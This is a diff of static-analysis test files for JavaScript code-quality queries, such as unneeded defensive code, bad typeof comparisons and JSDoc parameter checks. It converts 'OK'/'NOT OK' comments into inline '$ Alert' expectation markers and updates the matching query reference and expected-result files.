+    u? u():_; // $ Alert[js/unneeded-defensive-code]
+    n? n(): _; // $ Alert[js/unneeded-defensive-code]
+    o? o(): _; // $ Alert[js/unneeded-defensive-code]
     x? x(): _;
 
-    if (u !== undefined) { // NOT OK
+    if (u !== undefined) { // $ Alert[js/unneeded-defensive-code]
         u.p;
     }
-    if (n !== undefined) { // NOT OK
+    if (n !== undefined) { // $ Alert[js/unneeded-defensive-code]
         n.p;
     }
-    if (o !== undefined) { // NOT OK
+    if (o !== undefined) { // $ Alert[js/unneeded-defensive-code]
         o.p;
     }
     if (x !== undefined) {
         x.p;
     }
 
-    if (u == undefined){} // NOT OK
-    if (n == undefined){} // NOT OK
-    if (o == undefined){} // NOT OK
+    if (u == undefined){} // $ Alert[js/unneeded-defensive-code]
+    if (n == undefined){} // $ Alert[js/unneeded-defensive-code]
+    if (o == undefined){} // $ Alert[js/unneeded-defensive-code]
     if (x == undefined){}
 
-    if (u != undefined){} // NOT OK
-    if (n != undefined){} // NOT OK
-    if (o != undefined){} // NOT OK
+    if (u != undefined){} // $ Alert[js/unneeded-defensive-code]
+    if (n != undefined){} // $ Alert[js/unneeded-defensive-code]
+    if (o != undefined){} // $ Alert[js/unneeded-defensive-code]
     if (x != undefined){}
 
-    if (typeof u === "undefined"){} // NOT OK
-    if (typeof n === "undefined"){} // NOT OK
-    if (typeof o === "undefined"){} // NOT OK
+    if (typeof u === "undefined"){} // $ Alert[js/unneeded-defensive-code]
+    if (typeof n === "undefined"){} // $ Alert[js/unneeded-defensive-code]
+    if (typeof o === "undefined"){} // $ Alert[js/unneeded-defensive-code]
     if (typeof x === "undefined"){}
 
     function f() { }
-    typeof f === "function" && f(); // NOT OK
-    typeof u === "function" && u(); // NOT OK
+    typeof f === "function" && f(); // $ Alert[js/unneeded-defensive-code]
+    typeof u === "function" && u(); // $ Alert[js/unneeded-defensive-code]
     typeof x === "function" && x();
 
     var empty_array = [];
@@ -111,9 +111,9 @@
     var _true = true;
     var _false = false;
 
-    empty_array && empty_array.pop(); // NOT OK
-    pseudo_empty_array && pseudo_empty_array.pop(); // NOT OK
-    non_empty_array && non_empty_array.pop(); // NOT OK
+    empty_array && empty_array.pop(); // $ Alert[js/unneeded-defensive-code]
+    pseudo_empty_array && pseudo_empty_array.pop(); // $ Alert[js/unneeded-defensive-code]
+    non_empty_array && non_empty_array.pop(); // $ Alert[js/unneeded-defensive-code]
     empty_string && empty_string.charAt(0);
     non_empty_string && non_empty_string.charAt(0);
     zero && zero();
@@ -121,23 +121,23 @@
     _true && _true();
     _false && _false();
 
-    (u !== undefined && u !== null) && u.p; // NOT OK
-    u !== undefined && u !== null && u.p; // NOT OK
+    (u !== undefined && u !== null) && u.p; // $ Alert[js/unneeded-defensive-code]
+    u !== undefined && u !== null && u.p; // $ Alert[js/unneeded-defensive-code]
 
-    u != undefined && u != null; // NOT OK
-    u == undefined || u == null; // NOT OK
-    u !== undefined && u !== null; // NOT OK
-    !(u === undefined) && !(u === null); // NOT OK
-    u === undefined || u === null; // NOT OK
-    !(u === undefined || u === null); // NOT OK
-    !(u === undefined) && u !== null; // NOT OK
+    u != undefined && u != null; // $ Alert[js/unneeded-defensive-code]
+    u == undefined || u == null; // $ Alert[js/unneeded-defensive-code]
+    u !== undefined && u !== null; // $ Alert[js/unneeded-defensive-code]
+    !(u === undefined) && !(u === null); // $ Alert[js/unneeded-defensive-code]
+    u === undefined || u === null; // $ Alert[js/unneeded-defensive-code]
+    !(u === undefined || u === null); // $ Alert[js/unneeded-defensive-code]
+    !(u === undefined) && u !== null; // $ Alert[js/unneeded-defensive-code]
     u !== undefined && n !== null;
-    u == undefined && u == null; // NOT OK
+    u == undefined && u == null; // $ Alert[js/unneeded-defensive-code]
     x == undefined && x == null;
 
-    x === undefined && x === null; // NOT OK
+    x === undefined && x === null; // $ Alert[js/unneeded-defensive-code]
     if (x === undefined) {
-        if (x === null) { // NOT OK
+        if (x === null) { // $ Alert[js/unneeded-defensive-code]
         }
     }
 
@@ -153,16 +153,16 @@
         }
     }
 
-    x != undefined && x != null; // NOT OK
+    x != undefined && x != null; // $ Alert[js/unneeded-defensive-code]
     if (x != undefined) {
-        if (x != null) { // NOT OK
+        if (x != null) { // $ Alert[js/unneeded-defensive-code]
         }
     }
 
-    if (typeof x !== undefined);
-    if (typeof window !== undefined);
+    if (typeof x !== undefined); // $ Alert[js/comparison-between-incompatible-types]
+    if (typeof window !== undefined); // $ Alert[js/comparison-between-incompatible-types]
     if (typeof x !== x);
-    if (typeof x !== u); // NOT OK
+    if (typeof x !== u); // $ Alert[js/comparison-between-incompatible-types]
 
     if (typeof window !== "undefined");
     if (typeof module !== "undefined");
@@ -172,12 +172,12 @@
     if (typeof module !== "undefined" && module.exports);
     if (typeof global !== "undefined" && global.process);
 
-	u && (f(), u.p);
-	u && (u.p, f()); // technically not OK, but it seems like an unlikely pattern
-	u && !u.p; // NOT OK
-	u && !u(); // NOT OK
+	u && (f(), u.p); // $ Alert[js/trivial-conditional]
+	u && (u.p, f()); // $ Alert[js/trivial-conditional] - technically not OK, but it seems like an unlikely pattern
+	u && !u.p; // $ Alert[js/unneeded-defensive-code]
+	u && !u(); // $ Alert[js/unneeded-defensive-code]
+
 
-    
     function hasCallbacks(success, error) {
         if (success) success()
         if (error) error()
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst2.js b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst2.js
index 588844f9c75f..eb0dee8c535e 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst2.js
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst2.js
@@ -1,7 +1,7 @@
 (function(){
     var v;
     (function(){
-        if(typeof v === "undefined"){ // NOT OK
+        if(typeof v === "undefined"){ // $ Alert[js/unneeded-defensive-code]
             v = 42;
         }
         for(var v in x){
@@ -9,10 +9,10 @@
     });
 });
 
-const isFalsyObject = (v) => typeof v === 'undefined' && v !== undefined; // OK
+const isFalsyObject = (v) => typeof v === 'undefined' && v !== undefined;
 
 function f(v) {
-    if (typeof v === 'undefined' && v !== undefined) { // OK
+    if (typeof v === 'undefined' && v !== undefined) {
         doSomething(v);
     }
 }
diff --git a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.expected b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.expected
index 81cd1fac8fd5..82d959bca090 100644
--- a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.expected
+++ b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.expected
@@ -1,3 +1,3 @@
 | tst.js:2:9:2:16 | x + x>>1 | Whitespace around nested operators contradicts precedence. |
 | tst.js:42:9:42:20 | p in o&&o[p] | Whitespace around nested operators contradicts precedence. |
-| tst.js:49:1:49:12 | x  +  x >> 1 | Whitespace around nested operators contradicts precedence. |
+| tst.js:48:1:48:12 | x  +  x >> 1 | Whitespace around nested operators contradicts precedence. |
diff --git a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref
index 4905e880b56a..b1d60a5feea0 100644
--- a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref
+++ b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref
@@ -1 +1,2 @@
-Expressions/WhitespaceContradictsPrecedence.ql
\ No newline at end of file
+query: Expressions/WhitespaceContradictsPrecedence.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js
index d9942a5ec4a8..30b75270f946 100644
--- a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js
@@ -1,35 +1,35 @@
 function bad(x) {
-	return x + x>>1; 
+	return x + x>>1;  // $ Alert
 }
 
 function ok1(x) {
-	return x + x >> 1; 
+	return x + x >> 1;
 }
 
 function ok2(x) {
-	return x+x >> 1; 
+	return x+x >> 1;
 }
 
 function ok3(x) {
-	return x + (x>>1); 
+	return x + (x>>1);
 }
 
 function ok4(x, y, z) {
 	return x + y + z;
 }
-	
+
 function ok5(x, y, z) {
 	return x + y+z;
 }
 
 function ok6(x) {
-	return x + x>> 1; 
+	return x + x>> 1;
 }
 
 function ok7(x, y, z) {
 	return x + y - z;
 }
-	
+
 function ok8(x, y, z) {
 	return x + y-z;
 }
@@ -38,18 +38,17 @@ function ok9(x, y, z) {
 	return x * y*z;
 }
 
-function ok10(o, p) {
-	return p in o&&o[p];
+function bad10(o, p) {
+	return p in o&&o[p]; // $ Alert
 }
 
-// OK
+
 x==y ** 2;
 
-// NOT OK
-x  +  x >> 1
+x  +  x >> 1 // $ Alert
+
 
-// OK
 x +   x >> 1
 
-// OK (asm.js-like)
-x = x - 1|0;
\ No newline at end of file
+// OK - asm.js-like
+x = x - 1|0;
diff --git a/javascript/ql/test/query-tests/JSDoc/BadParamTag/BadParamTag.qlref b/javascript/ql/test/query-tests/JSDoc/BadParamTag/BadParamTag.qlref
index 13e42724d606..478f17148e10 100644
--- a/javascript/ql/test/query-tests/JSDoc/BadParamTag/BadParamTag.qlref
+++ b/javascript/ql/test/query-tests/JSDoc/BadParamTag/BadParamTag.qlref
@@ -1 +1 @@
-JSDoc/BadParamTag.ql
\ No newline at end of file
+query: JSDoc/BadParamTag.ql
diff --git a/javascript/ql/test/query-tests/JSDoc/JSDocForNonExistentParameter/JSDocForNonExistentParameter.qlref b/javascript/ql/test/query-tests/JSDoc/JSDocForNonExistentParameter/JSDocForNonExistentParameter.qlref
index 05473298ac8d..75206f43fafb 100644
--- a/javascript/ql/test/query-tests/JSDoc/JSDocForNonExistentParameter/JSDocForNonExistentParameter.qlref
+++ b/javascript/ql/test/query-tests/JSDoc/JSDocForNonExistentParameter/JSDocForNonExistentParameter.qlref
@@ -1 +1 @@
-JSDoc/JSDocForNonExistentParameter.ql
\ No newline at end of file
+query: JSDoc/JSDocForNonExistentParameter.ql
diff --git a/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.expected b/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.expected
index 6b028267ff76..4ed958a048a1 100644
--- a/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.expected
+++ b/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.expected
@@ -1,2 +1,2 @@
-| tst.js:6:15:6:15 | y | Parameter y is not documented. |
-| tst.js:26:19:26:19 | y | Parameter y is not documented. |
+| tst.js:4:15:4:15 | y | Parameter y is not documented. |
+| tst.js:23:19:23:19 | y | Parameter y is not documented. |
diff --git a/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.qlref b/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.qlref
index 8c3b2613cba3..d6b0343c6c02 100644
--- a/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.qlref
+++ b/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/UndocumentedParameter.qlref
@@ -1 +1,2 @@
-JSDoc/UndocumentedParameter.ql
\ No newline at end of file
+query: JSDoc/UndocumentedParameter.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/tst.js b/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/tst.js
index b785e06507a7..6143b7084c3b 100644
--- a/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/tst.js
+++ b/javascript/ql/test/query-tests/JSDoc/UndocumentedParameter/tst.js
@@ -1,9 +1,7 @@
 /**
- * NOT OK: Parameter y is not documented.
- *
  * @param x The first operand.
  */
-function f(x, y) {
+function f(x, y) { // $ Alert
     return x+y;
 }
 
@@ -14,7 +12,6 @@ function g(x, y) {
     return x+y;
 }
 
-// NOT OK
 /**
  * @param {int}   x
  * @param {float} y
@@ -23,6 +20,6 @@ var o = {
   /**
    * @param {String} x first argument.
    */
-  f : function(x, y) {
+  f : function(x, y) { // $ Alert
   }
 };
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/ArgumentsCallerCallee.qlref b/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/ArgumentsCallerCallee.qlref
index 6f22e925dbd1..fd66fb21e620 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/ArgumentsCallerCallee.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/ArgumentsCallerCallee.qlref
@@ -1 +1,2 @@
-LanguageFeatures/ArgumentsCallerCallee.ql
\ No newline at end of file
+query: LanguageFeatures/ArgumentsCallerCallee.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/tst.js
index 32b12e606bc6..d988977efdd8 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ArgumentsCallerCallee/tst.js
@@ -1,7 +1,7 @@
 (function (i) {
 	if (i <= 1)
 		return 1;
-	return i*arguments.callee(i-1);
+	return i*arguments.callee(i-1); // $ Alert
 }(3));
 
 function f() {
@@ -9,7 +9,7 @@ function f() {
 }
 
 function g() {
-	return arguments.caller.length;
+	return arguments.caller.length; // $ Alert
 }
 
 function h(arguments) {
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.expected b/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.expected
index bffe622dc7e0..7be415438250 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.expected
@@ -1,3 +1,3 @@
-| tst.js:2:1:2:8 | typeof a | The result of this 'typeof' expression is compared to $@, but the two can never be equal. | tst.js:2:14:2:20 | 'array' | array |
-| tst.js:19:9:19:16 | typeof a | The result of this 'typeof' expression is compared to $@, but the two can never be equal. | tst.js:23:6:23:11 | 'null' | null |
-| tst.js:33:2:33:9 | typeof a | The result of this 'typeof' expression is compared to $@, but the two can never be equal. | tst.js:33:16:33:22 | 'array' | array |
+| tst.js:1:1:1:8 | typeof a | The result of this 'typeof' expression is compared to $@, but the two can never be equal. | tst.js:1:14:1:20 | 'array' | array |
+| tst.js:18:9:18:16 | typeof a | The result of this 'typeof' expression is compared to $@, but the two can never be equal. | tst.js:21:6:21:11 | 'null' | null |
+| tst.js:30:2:30:9 | typeof a | The result of this 'typeof' expression is compared to $@, but the two can never be equal. | tst.js:30:16:30:22 | 'array' | array |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.qlref b/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.qlref
index ebbb3c84a1e5..9ed7fa52f7cc 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/BadTypeof.qlref
@@ -1 +1,2 @@
-LanguageFeatures/BadTypeof.ql
\ No newline at end of file
+query: LanguageFeatures/BadTypeof.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/tst.js
index de01c66ac808..9401c80cba52 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/BadTypeof/tst.js
@@ -1,36 +1,33 @@
-// NOT OK
-typeof a === 'array';
+typeof a === 'array'; // $ Alert
+
 
-// OK
 typeof b == 'string';
 
-// OK
+
 typeof c != "string";
 
-// OK
+
 "number" !== typeof 23;
 
-// OK
+
 'object' == typeof null;
 
-// OK
+
 typeof es6 === 'symbol';
 
-switch (typeof a) {
-// OK
+switch (typeof a) { // $ Alert
+
 case 'undefined':
-// NOT OK
 case 'null':
 }
 
-// OK
+
 switch (msg) {
 case 'null':
 case typeof a:
 }
 
-// NOT OK
-(typeof a) === 'array';
+(typeof a) === 'array'; // $ Alert
 
 // JScript extensions
 typeof a === 'unknown' || typeof a === 'date';
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ConditionalComments/ConditionalComments.qlref b/javascript/ql/test/query-tests/LanguageFeatures/ConditionalComments/ConditionalComments.qlref
index 8c331480b29c..908167804bcb 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ConditionalComments/ConditionalComments.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ConditionalComments/ConditionalComments.qlref
@@ -1 +1 @@
-LanguageFeatures/ConditionalComments.ql
+query: LanguageFeatures/ConditionalComments.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/DebuggerStatement.qlref b/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/DebuggerStatement.qlref
index 6ec39aa879d7..ba16fbb07ece 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/DebuggerStatement.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/DebuggerStatement.qlref
@@ -1 +1,2 @@
-LanguageFeatures/DebuggerStatement.ql
+query: LanguageFeatures/DebuggerStatement.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/debuggerStatement.js b/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/debuggerStatement.js
index b456e6b2b1d4..7c4a7fb098ef 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/debuggerStatement.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/DebuggerStatement/debuggerStatement.js
@@ -1,3 +1,3 @@
 function sayHello() {
-  debugger;
+  debugger; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/DeleteVar.qlref b/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/DeleteVar.qlref
index 0da47afc6a0e..70d65313b52a 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/DeleteVar.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/DeleteVar.qlref
@@ -1 +1,2 @@
-LanguageFeatures/DeleteVar.ql
\ No newline at end of file
+query: LanguageFeatures/DeleteVar.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/tst.js
index 1641372a53cc..8a6a7613d7a7 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/DeleteVar/tst.js
@@ -1,8 +1,8 @@
 delete this.Object;
-delete String;
+delete String; // $ Alert
 function f(o, x) {
 	delete o.p;
 	delete o[x];
-	delete x;
+	delete x; // $ Alert
 	delete (o.p);
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/EmptyArrayInit.qlref b/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/EmptyArrayInit.qlref
index f4decec514b3..142d91688dae 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/EmptyArrayInit.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/EmptyArrayInit.qlref
@@ -1 +1,2 @@
-LanguageFeatures/EmptyArrayInit.ql
\ No newline at end of file
+query: LanguageFeatures/EmptyArrayInit.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/tst.js
index 69daffb8a0b0..cf64a97a4d10 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/EmptyArrayInit/tst.js
@@ -1,7 +1,7 @@
-var a = [],         // OK
-    b = [1],        // OK
-    c = [1, 2],     // OK
-    d = [1, , 2],   // NOT OK
-    e = [1,],       // OK
-    f = [1, 2, ,],  // NOT OK
-    g = [,1];       // NOT OK
+var a = [],
+    b = [1],
+    c = [1, 2],
+    d = [1, , 2],   // $ Alert
+    e = [1,],
+    f = [1, 2, ,],  // $ Alert
+    g = [,1];       // $ Alert
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/Eval/Eval.qlref b/javascript/ql/test/query-tests/LanguageFeatures/Eval/Eval.qlref
index 65753c6e2076..f6cdc87d5359 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/Eval/Eval.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/Eval/Eval.qlref
@@ -1 +1,2 @@
-LanguageFeatures/Eval.ql
+query: LanguageFeatures/Eval.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/Eval/eval.js b/javascript/ql/test/query-tests/LanguageFeatures/Eval/eval.js
index 54ab88cd23e3..7845f9f07460 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/Eval/eval.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/Eval/eval.js
@@ -1,4 +1,4 @@
 function sayHello() {
-  eval("2+2");
+  eval("2+2"); // $ Alert
   anotherFunction("2+2");
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.expected b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.expected
index f3c95f56d3d2..01e87bf5c177 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.expected
@@ -3,4 +3,4 @@
 | letExpr.js:3:13:3:38 | let (x  ... ) x + y | Use let declarations instead of let expressions. |
 | letStmt.js:3:1:5:1 | let (x  ... + y);\\n} | Use let declarations instead of let statements. |
 | postfixComprehension.js:2:15:2:38 | [i*i fo ... mbers)] | Use prefix comprehensions instead of postfix comprehensions. |
-| tst.js:2:15:2:31 | function(x) x * x | Use arrow expressions instead of expression closures. |
+| tst.js:1:15:1:31 | function(x) x * x | Use arrow expressions instead of expression closures. |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.qlref b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.qlref
index 422b2aeab8ee..ab1619db7165 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/ExpressionClosures.qlref
@@ -1 +1,2 @@
-LanguageFeatures/ExpressionClosures.ql
\ No newline at end of file
+query: LanguageFeatures/ExpressionClosures.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js
index 1df300534371..2f22bc5dce39 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js
@@ -3,6 +3,6 @@ var obj = {prop1: 5, prop2: 13, prop3: 8};
 
 for each (var item in obj) {
   sum += item;
-}
+} // $ Alert
 
 console.log(sum); // logs "26", which is 5+13+8
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/jscript.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/jscript.js
index 0f6a81c8fb36..7b85bc8720f3 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/jscript.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/jscript.js
@@ -1,3 +1,3 @@
-function window::onload() {}
+function window::onload() {} // $ Alert
 
 window.onload = function onload() {}
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letExpr.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letExpr.js
index a5c7a09b6be5..7c4b6c4eb804 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letExpr.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letExpr.js
@@ -1,5 +1,5 @@
 var x = 42, y = 19;
 
-console.log(let (x = 23, y = 19) x + y);
+console.log(let (x = 23, y = 19) x + y); // $ Alert
 
 console.log(x - y);
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js
index 69beaac8a096..3b62e7f0d14c 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js
@@ -2,6 +2,6 @@ var x = 42, y = 19;
 
 let (x = 23, y = 19) {
   console.log(x + y);
-}
+} // $ Alert
 
 console.log(x - y);
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/postfixComprehension.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/postfixComprehension.js
index 3cca1b5c615f..181c90cfa7fe 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/postfixComprehension.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/postfixComprehension.js
@@ -1,4 +1,4 @@
 var numbers = [1, 2, 3, 4, 5];
-var squares = [i*i for (i of numbers)];
+var squares = [i*i for (i of numbers)]; // $ Alert
 var specialKeyCodes = [for (keyCodeName of Object.keys(SPECIAL_CODES_MAP))
     SPECIAL_CODES_MAP[keyCodeName]];
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/tst.js
index 202ea2a262a6..610590712eeb 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/tst.js
@@ -1,8 +1,7 @@
-// NOT OK
-[1, 2, 3].map(function(x) x * x);
+[1, 2, 3].map(function(x) x * x); // $ Alert
+
 
-// OK
 [1, 2, 3].map(function(x) { return x * x; });
 
-// OK
+
 [1, 2, 3].map((x) => x * x);
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/ForInComprehensionBlocks.qlref b/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/ForInComprehensionBlocks.qlref
index 57bc034bdf70..d5b6deb7355b 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/ForInComprehensionBlocks.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/ForInComprehensionBlocks.qlref
@@ -1 +1,2 @@
-LanguageFeatures/ForInComprehensionBlocks.ql
\ No newline at end of file
+query: LanguageFeatures/ForInComprehensionBlocks.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/tst.js
index 08542e2be521..3ada68d3cf02 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/ForInComprehensionBlocks/tst.js
@@ -1,2 +1,2 @@
 var a = [23,,42];
-var desc = [for(i in a) i + " = a[" + i + "]"];
+var desc = [for(i in a) i + " = a[" + i + "]"]; // $ Alert
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/IllegalInvocation.qlref b/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/IllegalInvocation.qlref
index 1297139b9f9a..d1cf5afbb2ac 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/IllegalInvocation.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/IllegalInvocation.qlref
@@ -1 +1,2 @@
-LanguageFeatures/IllegalInvocation.ql
\ No newline at end of file
+query: LanguageFeatures/IllegalInvocation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/tst.js
index 3ed85a709341..48af86687794 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/IllegalInvocation/tst.js
@@ -4,24 +4,24 @@ class C {
 
 class D extends C {
   constructor() {
-    super(); // OK
+    super();
   }
